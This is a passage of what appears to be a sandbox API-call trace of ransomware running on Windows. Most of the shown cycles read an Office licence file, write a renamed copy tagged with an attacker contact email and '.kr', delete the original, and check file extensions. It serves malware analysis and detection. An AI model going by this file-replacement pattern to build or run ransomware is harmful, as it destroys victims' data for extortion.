GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms")) returned 0x220 [0207.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0207.142] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.143] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0207.143] GetLastError () returned 0x0 [0207.144] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0207.145] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0207.147] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.147] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11e, lpOverlapped=0x0) returned 1 [0207.147] SetEndOfFile (hFile=0x370) returned 1 [0207.147] CloseHandle (hObject=0x370) returned 1 [0207.147] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.147] SetEndOfFile (hFile=0x410) returned 1 [0207.150] CloseHandle (hObject=0x410) returned 1 [0207.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms")) returned 1 [0207.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87 [0207.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87 [0207.156] lstrlenW (lpString=".doc") returned 4 [0207.156] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.156] lstrlenW (lpString=".docx") returned 5 [0207.156] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.156] lstrlenW (lpString=".pdf") returned 4 [0207.156] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.156] lstrlenW (lpString=".xls") returned 4 [0207.156] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.156] lstrlenW (lpString=".xlsx") returned 5 [0207.156] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.157] lstrlenW (lpString=".ppt") returned 4 [0207.157] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87 [0207.157] lstrlenW (lpString=".zip") returned 4 [0207.157] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.157] lstrlenW (lpString=".rar") returned 4 [0207.157] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.157] lstrlenW (lpString=".bz2") returned 4 [0207.157] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.157] lstrlenW (lpString=".7z") returned 3 [0207.157] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87 [0207.157] lstrlenW (lpString=".dbf") returned 4 [0207.157] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87 [0207.157] lstrlenW (lpString=".1cd") returned 4 [0207.157] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87 [0207.157] lstrlenW (lpString=".jpg") returned 4 [0207.157] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87 [0207.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87 [0207.157] lstrlenW (lpString=".doc") returned 4 [0207.157] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.157] lstrlenW (lpString=".docx") returned 5 [0207.157] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.157] lstrlenW (lpString=".pdf") returned 4 [0207.157] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.157] lstrlenW (lpString=".xls") returned 4 [0207.157] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.157] lstrlenW (lpString=".xlsx") returned 5 [0207.157] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.157] lstrlenW (lpString=".ppt") returned 4 [0207.158] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87 [0207.158] lstrlenW (lpString=".zip") returned 4 [0207.158] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.158] lstrlenW (lpString=".rar") returned 4 [0207.158] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.158] lstrlenW (lpString=".bz2") returned 4 [0207.158] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.158] lstrlenW (lpString=".7z") returned 3 [0207.158] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87 [0207.158] lstrlenW (lpString=".dbf") returned 4 [0207.158] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87 [0207.158] lstrlenW (lpString=".1cd") returned 4 [0207.158] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87 [0207.158] lstrlenW (lpString=".jpg") returned 4 [0207.158] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.158] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0207.158] lstrlenW (lpString="O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 38 [0207.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0207.159] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=23843) returned 1 [0207.159] CloseHandle (hObject=0x410) returned 1 [0207.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms")) returned 0x220 [0207.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0207.160] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.160] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0207.161] GetLastError () returned 0x0 [0207.161] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x5d23, lpOverlapped=0x0) returned 1 [0208.262] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5d30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5d30, lpOverlapped=0x0) returned 1 [0208.264] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.264] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x120, lpOverlapped=0x0) returned 1 [0208.264] SetEndOfFile (hFile=0x370) returned 1 [0208.264] CloseHandle (hObject=0x370) returned 1 [0208.264] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.264] SetEndOfFile (hFile=0x410) returned 1 [0208.268] CloseHandle (hObject=0x410) returned 1 [0208.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0208.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms")) returned 1 [0208.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88 [0208.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88 [0208.270] lstrlenW (lpString=".doc") returned 4 [0208.270] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0208.270] lstrlenW (lpString=".docx") returned 5 [0208.270] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0208.270] lstrlenW (lpString=".pdf") returned 4 [0208.270] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0208.270] lstrlenW (lpString=".xls") returned 4 [0208.270] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0208.270] lstrlenW (lpString=".xlsx") returned 5 [0208.271] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0208.271] lstrlenW (lpString=".ppt") returned 4 [0208.271] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0208.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88 [0208.271] lstrlenW (lpString=".zip") returned 4 [0208.271] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0208.271] lstrlenW (lpString=".rar") returned 4 [0208.271] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0208.271] lstrlenW (lpString=".bz2") returned 4 [0208.271] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0208.271] lstrlenW (lpString=".7z") returned 3 [0208.271] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0208.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88 [0208.271] lstrlenW (lpString=".dbf") returned 4 [0208.271] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0208.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88 [0208.271] lstrlenW (lpString=".1cd") returned 4 [0208.271] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0208.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88 [0208.271] lstrlenW (lpString=".jpg") returned 4 [0208.271] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0208.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88 [0208.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88 [0208.271] lstrlenW (lpString=".doc") returned 4 [0208.271] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0208.271] lstrlenW (lpString=".docx") returned 5 [0208.271] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0208.271] lstrlenW (lpString=".pdf") returned 4 [0208.271] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0208.271] lstrlenW (lpString=".xls") returned 4 [0208.271] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0208.271] lstrlenW (lpString=".xlsx") returned 5 [0208.272] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0208.272] lstrlenW (lpString=".ppt") returned 4 [0208.272] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0208.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88 [0208.272] lstrlenW (lpString=".zip") returned 4 [0208.272] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0208.272] lstrlenW (lpString=".rar") returned 4 [0208.272] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0208.272] lstrlenW (lpString=".bz2") returned 4 [0208.272] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0208.272] lstrlenW (lpString=".7z") returned 3 [0208.272] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0208.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88 [0208.272] lstrlenW (lpString=".dbf") returned 4 [0208.272] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0208.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88 [0208.272] lstrlenW (lpString=".1cd") returned 4 [0208.272] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0208.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88 [0208.272] lstrlenW (lpString=".jpg") returned 4 [0208.272] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0208.272] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0208.272] lstrlenW (lpString="O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 37 [0208.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0208.273] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11199) returned 1 [0208.273] CloseHandle (hObject=0x410) returned 1 [0208.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms")) returned 0x220 [0208.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0208.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0208.274] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.274] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0208.274] GetLastError () returned 0x0 [0208.274] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0208.276] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0208.277] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.277] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11e, lpOverlapped=0x0) returned 1 [0208.278] SetEndOfFile (hFile=0x370) returned 1 [0208.278] CloseHandle (hObject=0x370) returned 1 [0208.278] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.278] SetEndOfFile (hFile=0x410) returned 1 [0208.280] CloseHandle (hObject=0x410) returned 1 [0208.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0208.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms")) returned 1 [0208.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87 [0208.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87 [0208.282] lstrlenW (lpString=".doc") returned 4 [0208.282] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0208.282] lstrlenW (lpString=".docx") returned 5 [0208.282] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0208.282] lstrlenW (lpString=".pdf") returned 4 [0208.282] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0208.282] lstrlenW (lpString=".xls") returned 4 [0208.282] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0208.282] lstrlenW (lpString=".xlsx") returned 5 [0208.282] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0208.282] lstrlenW (lpString=".ppt") returned 4 [0208.282] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0208.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87 [0208.282] lstrlenW (lpString=".zip") returned 4 [0208.282] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0208.282] lstrlenW (lpString=".rar") returned 4 [0208.282] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0208.282] lstrlenW (lpString=".bz2") returned 4 [0208.282] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0208.282] lstrlenW (lpString=".7z") returned 3 [0208.282] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0208.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87 [0208.282] lstrlenW (lpString=".dbf") returned 4 [0208.282] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0208.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87 [0208.282] lstrlenW (lpString=".1cd") returned 4 [0208.282] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0208.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87 [0208.282] lstrlenW (lpString=".jpg") returned 4 [0208.283] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0208.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87 [0208.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87 [0208.283] lstrlenW (lpString=".doc") returned 4 [0208.283] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0208.283] lstrlenW (lpString=".docx") returned 5 [0208.283] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0208.283] lstrlenW (lpString=".pdf") returned 4 [0208.283] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0208.283] lstrlenW (lpString=".xls") returned 4 [0208.283] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0208.283] lstrlenW (lpString=".xlsx") returned 5 [0208.283] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0208.283] lstrlenW (lpString=".ppt") returned 4 [0208.283] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0208.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87 [0208.283] lstrlenW (lpString=".zip") returned 4 [0208.283] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0208.283] lstrlenW (lpString=".rar") returned 4 [0208.283] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0208.283] lstrlenW (lpString=".bz2") returned 4 [0208.283] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0208.283] lstrlenW (lpString=".7z") returned 3 [0208.283] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0208.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87 [0208.283] lstrlenW (lpString=".dbf") returned 4 [0208.283] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0208.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87 [0208.283] lstrlenW (lpString=".1cd") returned 4 [0208.283] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0208.283] lstrlenW 